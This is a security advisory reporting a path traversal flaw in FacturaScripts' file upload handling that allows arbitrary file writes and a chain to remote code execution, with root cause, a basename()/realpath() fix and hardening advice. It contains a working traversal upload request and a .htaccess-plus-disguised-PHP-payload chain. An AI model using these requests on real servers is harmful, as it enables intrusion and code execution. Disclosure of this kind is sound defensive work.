FacturaScripts: Path traversal in UploadedFile::move() via getClientOriginalName() — arbitrary file write outside MyFiles/ leading to RCE

Representative sink — Core/Controller/ApiUploadFiles.php:56-79:

private function uploadFile(UploadedFile $uploadFile): ?AttachedFile
{
    if (false === $uploadFile->isValid()) {
        return null;
    }
    $destiny = FS_FOLDER . '/MyFiles/';
    $destinyName = $uploadFile->getClientOriginalName();
    if (file_exists($destiny . $destinyName)) {
        $destinyName = mt_rand(1, 999999) . '_' . $destinyName;
    }
    if ($uploadFile->move($destiny, $destinyName)) {
        ...
    }
}

Shipped htaccess-sample (production Apache rules):

<IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteBase /
   RewriteCond %{REQUEST_URI} !Dinamic/Assets/ [NC]
   RewriteCond %{REQUEST_URI} !node_modules/ [NC]
   RewriteRule . index.php [L]
</IfModule>

Apache therefore serves any file under Dinamic/Assets/ directly, bypassing index.php entirely.

PoC

Step 1 — Static reproduction of the file-write primitive

The following script replicates UploadedFile::move()'s rename() path verbatim inside a sandboxed temp directory. It does not run any payload — it only demonstrates that the destination escapes MyFiles/ when the filename contains ../.

<?php
$base = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fs_verify_' . uniqid();
mkdir($base);
mkdir($base . '/MyFiles');
mkdir($base . '/Dinamic');
mkdir($base . '/Dinamic/Assets');

$tmp = $base . '/tmp_upload.dat';
file_put_contents($tmp, "static-verification-marker\n");

function fs_move($tmp_name, $destiny, $destinyName) {
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return rename($tmp_name, $destiny . $destinyName);
}

fs_move($tmp, $base . '/MyFiles', '../Dinamic/Assets/traversed.txt');

echo file_exists($base . '/Dinamic/Assets/traversed.txt')
    ? "WRITTEN OUTSIDE MyFiles\n"
    : "blocked\n";

Output:

WRITTEN OUTSIDE MyFiles

Step 2 — Equivalent live HTTP request

POST /api/3/uploadfiles HTTP/1.1
Host: target
Token: <valid-api-token>
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files[]"; filename="../Dinamic/Assets/traversed.txt"
Content-Type: text/plain

static-verification-marker
-----X--

After the request, Dinamic/Assets/traversed.txt exists on disk and is reachable at https://target/Dinamic/Assets/traversed.txt — Apache serves it directly because the path is excluded from the index.php rewrite.

Step 3 — Chain to code execution

Because .htaccess is not in BLOCKED_EXTENSIONS, the same primitive can write an Apache override into Dinamic/Assets/:

1. Upload with filename ../Dinamic/Assets/.htaccess and body AddType application/x-httpd-php .png
2. Upload with filename ../Dinamic/Assets/x.png containing a PHP payload (extension png is not blocked, content is not validated by isValid())
3. Request https://target/Dinamic/Assets/x.png — Apache hands it to the PHP handler per the uploaded .htaccess

Root Cause

UploadedFile::move() performs raw $destiny . $destinyName concatenation and trusts getClientOriginalName(), which returns $this->name ?? '' with no normalization. No call site applies basename() or any equivalent before passing the client filename to move(). The blocklist in BLOCKED_EXTENSIONS covers only PHP-family extensions and does not cover htaccess, which is required for the rewrite-excluded directory to be useful for code execution.

Impact

Authenticated attacker (any role with permission to call one of the six upload entry points — including any user allowed to attach a file to a record, or any API token with uploadfiles/attachedfiles access) can:

• Write arbitrary content to any path under the application root that is writable by the web-server user, including Dinamic/Assets/ (Apache-direct-served) and node_modules/.
• Overwrite shipped JS/CSS inside Dinamic/Assets/, injecting client-side script that executes in every administrator's browser → session takeover on next admin page load.
• Drop a .htaccess into Dinamic/Assets/ remapping a benign extension to the PHP handler, followed by a second upload that lands an executable payload — full remote code execution as the web-server user.

The required precondition is only an authenticated session or API token with upload privileges, which is granted to a wide range of non-administrative roles in standard installations.

Fix

Minimal fix — sanitize inside UploadedFile::move() so every call site is covered automatically:

public function move(string $destiny, string $destinyName): bool
{
    if (!$this->isValid()) {
        return false;
    }
    // strip any directory component from the client-supplied filename
    $destinyName = basename($destinyName);
    if (substr($destiny, -1) !== DIRECTORY_SEPARATOR) {
        $destiny .= DIRECTORY_SEPARATOR;
    }
    return $this->test ?
        rename($this->tmp_name, $destiny . $destinyName) :
        move_uploaded_file($this->tmp_name, $destiny . $destinyName);
}

Apply the same change in moveTo().

Recommended hardening in addition:

• Add htaccess, htm, html, shtml, phtm to BLOCKED_EXTENSIONS, or replace the blocklist with an allowlist resolved per call site.
• After concatenating the final destination, verify with realpath() that the result is still inside the intended base directory; abort otherwise.
• Drop a Deny from all .htaccess (or equivalent web-server rule) into MyFiles/ so even successfully written files cannot be requested directly without going through the application download endpoint (which already enforces MyFilesToken).

Status

Reported privately to the maintainer via GitHub Security Advisory. Awaiting acknowledgement.